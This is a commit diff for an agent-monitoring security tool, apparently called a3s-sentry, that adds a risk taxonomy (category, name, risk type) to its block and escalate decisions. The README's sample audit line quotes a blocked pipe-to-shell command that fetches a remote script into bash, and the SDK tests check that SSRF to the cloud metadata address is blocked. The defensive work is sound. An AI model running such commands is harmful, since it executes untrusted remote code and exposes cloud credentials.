feat: attach risk taxonomy to decisions

Author: RoyLin

README.md

@@ -79,13 +79,20 @@ sudo a3s-observer-enforce   /sys/fs/cgroup/<agent>  egress-deny.txt
 sudo a3s-observer-fileguard  exec-deny.txt
 ```
 
+Each `Decision` includes verdict, tier, severity, reason, optional enforcement action, and optional
+`risk` taxonomy (`category`, `name`, `risk_type`) for non-allow or unresolved-escalation findings.
+Downstream platforms such as AnySentry should consume this stable taxonomy instead of parsing the
+human-readable reason string.
+
 Sentry emits one **decision audit** line (NDJSON) per non-allow on stdout; plain allows are counted,
 not printed, to keep the stream signal-dense:
 
 ```json
 {"agent":"py","event":"ToolExec","subject":"curl http://x/p.sh | bash",
  "decision":{"verdict":"block","tier":"Rules","severity":"high",
- "reason":"pipe-to-shell: remote payload piped to an interpreter","action":{"DenyExec":"curl"}}}
+ "reason":"pipe-to-shell: remote payload piped to an interpreter",
+ "risk":{"category":"command_danger","name":"Dangerous command execution","risk_type":"atomic"},
+ "action":{"DenyExec":"curl"}}}
 ```
 
 Run **without** the LLM/agent env vars for rules-only (L1) mode, or with `A3S_SENTRY_DRY_RUN=1` to

sdk/python/src/lib.rs

@@ -11,7 +11,7 @@
 //! assert d.verdict == "block"
 //! ```
 
-use ::a3s_sentry::verdict::{Decision as CoreDecision, EnforceAction as CoreAction, Severity, Tier, Verdict};
+use ::a3s_sentry::verdict::{Decision as CoreDecision, EnforceAction as CoreAction, RiskType as CoreRiskType, Severity, Tier, Verdict};
 use ::a3s_sentry::Sentry as CoreSentry;
 use pyo3::exceptions::PyValueError;
 use pyo3::prelude::*;
@@ -47,6 +47,26 @@ impl From<&CoreAction> for EnforceAction {
     }
 }
 
+/// Stable risk taxonomy attached to a decision, e.g. category=`systemic_risk`,
+/// risk_type=`system`.
+#[pyclass(get_all)]
+#[derive(Clone)]
+struct RiskDescriptor {
+    category: String,
+    name: String,
+    risk_type: String,
+}
+
+#[pymethods]
+impl RiskDescriptor {
+    fn __repr__(&self) -> String {
+        format!(
+            "RiskDescriptor(category={:?}, name={:?}, risk_type={:?})",
+            self.category, self.name, self.risk_type
+        )
+    }
+}
+
 /// One tier's conclusion about an event. `verdict` is `"allow"`/`"block"`/`"escalate"`, `tier` is
 /// `"Rules"`/`"Llm"`/`"Agent"`, `severity` is `"info"`..`"critical"`, and `action` is the concrete
 /// deny (or `None`).
@@ -58,20 +78,25 @@ struct Decision {
     severity: String,
     reason: String,
     action: Option<EnforceAction>,
+    risk: Option<RiskDescriptor>,
 }
 
 #[pymethods]
 impl Decision {
     fn __repr__(&self) -> String {
         format!(
-            "Decision(verdict={:?}, tier={:?}, severity={:?}, reason={:?}, action={})",
+            "Decision(verdict={:?}, tier={:?}, severity={:?}, reason={:?}, action={}, risk={})",
             self.verdict,
             self.tier,
             self.severity,
             self.reason,
             match &self.action {
                 Some(a) => a.__repr__(),
                 None => "None".to_string(),
+            },
+            match &self.risk {
+                Some(r) => r.__repr__(),
+                None => "None".to_string(),
             }
         )
     }
@@ -100,6 +125,7 @@ fn tier_str(t: Tier) -> &'static str {
         Tier::Rules => "Rules",
         Tier::Llm => "Llm",
         Tier::Agent => "Agent",
+        Tier::Sae => "Sae",
     }
 }
 
@@ -111,6 +137,16 @@ impl From<CoreDecision> for Decision {
             severity: severity_str(d.severity).to_string(),
             reason: d.reason,
             action: d.action.as_ref().map(EnforceAction::from),
+            risk: d.risk.map(|r| RiskDescriptor {
+                category: r.category,
+                name: r.name,
+                risk_type: match r.risk_type {
+                    CoreRiskType::System => "system",
+                    CoreRiskType::Communication => "communication",
+                    CoreRiskType::Atomic => "atomic",
+                }
+                .to_string(),
+            }),
         }
     }
 }
@@ -207,6 +243,7 @@ fn a3s_sentry(m: &Bound<'_, PyModule>) -> PyResult<()> {
     m.add_class::<Sentry>()?;
     m.add_class::<Decision>()?;
     m.add_class::<EnforceAction>()?;
+    m.add_class::<RiskDescriptor>()?;
     m.add_function(wrap_pyfunction!(tool_exec, m)?)?;
     m.add_function(wrap_pyfunction!(egress, m)?)?;
     m.add_function(wrap_pyfunction!(file_access, m)?)?;

sdk/python/tests/test_sentry.py

@@ -48,6 +48,9 @@ def test_cloud_metadata_ssrf_blocks_with_deny_egress(self):
         self.assertIsNotNone(d.action)
         self.assertEqual(d.action.kind, "DenyEgress")
         self.assertEqual(d.action.target, "169.254.169.254")
+        self.assertIsNotNone(d.risk)
+        self.assertEqual(d.risk.category, "systemic_risk")
+        self.assertEqual(d.risk.risk_type, "system")
 
     def test_sdk_authored_rule_fires_at_rules_tier(self):
         d = self.sentry.evaluate(dns(1, "high.test"))
@@ -202,6 +205,7 @@ def test_repr_without_action_is_none(self):
         text = repr(d)
         self.assertIn("Decision(", text)
         self.assertIn("action=None", text)
+        self.assertIn("risk=None", text)
 
     def test_enforce_action_repr_directly(self):
         d = self.sentry.evaluate(egress(1, "169.254.169.254", 80))

sdk/typescript/src/lib.rs

@@ -4,7 +4,10 @@
 //! judges an observer event in-process and returns a typed `Decision`. No daemon, no subprocess
 //! (beyond what L3 itself spawns) — the same model as @a3s-lab/code.
 
-use a3s_sentry::{EnforceAction as CoreAction, Sentry as CoreSentry, Severity, Tier, Verdict};
+use a3s_sentry::{
+    EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity, Tier,
+    Verdict,
+};
 use napi_derive::napi;
 
 #[napi(object)]
@@ -15,6 +18,16 @@ pub struct EnforceAction {
     pub target: String,
 }
 
+#[napi(object)]
+pub struct RiskDescriptor {
+    /// Stable taxonomy code, e.g. `systemic_risk` or `command_danger`.
+    pub category: String,
+    /// Human-readable label for operators.
+    pub name: String,
+    /// `system` | `communication` | `atomic`.
+    pub risk_type: String,
+}
+
 #[napi(object)]
 pub struct Decision {
     /// `allow` | `block` | `escalate`.
@@ -25,6 +38,7 @@ pub struct Decision {
     pub severity: String,
     pub reason: String,
     pub action: Option<EnforceAction>,
+    pub risk: Option<RiskDescriptor>,
 }
 
 #[napi(object)]
@@ -79,6 +93,7 @@ fn to_decision(d: a3s_sentry::Decision) -> Decision {
         Tier::Rules => "Rules",
         Tier::Llm => "Llm",
         Tier::Agent => "Agent",
+        Tier::Sae => "Sae",
     };
     let severity = match d.severity {
         Severity::Info => "info",
@@ -103,6 +118,16 @@ fn to_decision(d: a3s_sentry::Decision) -> Decision {
                 target,
             }
         }),
+        risk: d.risk.map(|r| RiskDescriptor {
+            category: r.category,
+            name: r.name,
+            risk_type: match r.risk_type {
+                CoreRiskType::System => "system",
+                CoreRiskType::Communication => "communication",
+                CoreRiskType::Atomic => "atomic",
+            }
+            .to_string(),
+        }),
     }
 }
 

sdk/typescript/test/sdk.test.mjs

@@ -30,6 +30,8 @@ test("create + built-in cloud-metadata SSRF blocks (DenyEgress)", () => {
   const d = s.evaluate(egress(1, "169.254.169.254", 80));
   assert.equal(d.verdict, "block");
   assert.deepEqual(d.action, { kind: "DenyEgress", target: "169.254.169.254" });
+  assert.equal(d.risk.category, "systemic_risk");
+  assert.equal(d.risk.riskType ?? d.risk.risk_type, "system");
 });
 
 test("SDK-authored ACL rule fires at tier=Rules", () => {

src/agent.rs

@@ -173,6 +173,7 @@ impl Judge for AgentJudge {
                 if v.verdict.eq_ignore_ascii_case("block") {
                     Decision::block(Tier::Agent, severity, reason)
                         .with_action(ev.event.natural_deny())
+                        .with_inferred_risk(ev.event.name())
                 } else {
                     Decision::allow(Tier::Agent, reason)
                 }
@@ -197,6 +198,9 @@ impl Judge for AgentJudge {
                     } else {
                         None
                     },
+                    risk: (verdict == Verdict::Block).then(|| {
+                        crate::verdict::RiskDescriptor::infer(ev.event.name(), "L3 unavailable")
+                    }),
                     explain: None,
                 }
             }

src/event.rs

@@ -217,6 +217,12 @@ mod tests {
         assert!(ObservedEvent::parse(line).is_none());
     }
 
+    #[test]
+    fn collector_heartbeat_is_control_plane_not_judged() {
+        let line = r#"{"identity":{},"provider":null,"event":{"CollectorHeartbeat":{"collector_id":"node-a","version":"0.11.0","mode":"observe","attached_probes":18,"enabled_features":["exec"],"interval_secs":60,"exec":1,"exit":0,"egress":0,"dns":0,"file":0,"llm":0,"ssl":0,"sec":0,"dropped":0,"output_dropped":0}}}"#;
+        assert!(ObservedEvent::parse(line).is_none());
+    }
+
     #[test]
     fn rejects_non_json_and_blank() {
         assert!(ObservedEvent::parse("").is_none());

src/lib.rs

@@ -41,4 +41,6 @@ pub use pipeline::{Judge, Pipeline};
 pub use rules::{default_rules, LiveRules, RuleEngine, RuleSpec};
 pub use sae::{FeatureDict, FeatureLabel, SaeJudge};
 pub use sdk::Sentry;
-pub use verdict::{Decision, Driver, EnforceAction, SaeScore, Severity, Tier, Verdict};
+pub use verdict::{
+    Decision, Driver, EnforceAction, RiskDescriptor, RiskType, SaeScore, Severity, Tier, Verdict,
+};

src/llm.rs

@@ -109,6 +109,7 @@ impl Judge for LlmJudge {
             // Defer rather than guess: a flaky endpoint must not become a silent allow.
             Err(e) => {
                 Decision::escalate(Tier::Llm, Severity::Medium, format!("L2 unavailable: {e}"))
+                    .with_inferred_risk(ev.event.name())
             }
         }
     }
@@ -132,10 +133,12 @@ impl LlmVerdict {
         let severity = parse_severity(&self.severity);
         let reason = format!("L2: {}", self.reason);
         if self.verdict.eq_ignore_ascii_case("block") {
-            Decision::block(Tier::Llm, severity, reason).with_action(ev.event.natural_deny())
+            Decision::block(Tier::Llm, severity, reason)
+                .with_action(ev.event.natural_deny())
+                .with_inferred_risk(ev.event.name())
         } else if self.verdict.eq_ignore_ascii_case("escalate") {
             // L2 is unsure → hand off to the L3 deep investigator (or fail-mode if no L3).
-            Decision::escalate(Tier::Llm, severity, reason)
+            Decision::escalate(Tier::Llm, severity, reason).with_inferred_risk(ev.event.name())
         } else {
             Decision::allow(Tier::Llm, reason)
         }

src/pipeline.rs

@@ -221,6 +221,7 @@ impl Pipeline {
             } else {
                 None
             },
+            risk: d.risk,
             explain: None,
         }
     }
@@ -257,6 +258,7 @@ mod tests {
                 severity: self.2,
                 reason: "x".into(),
                 action: None,
+                risk: None,
                 explain: None,
             }
         }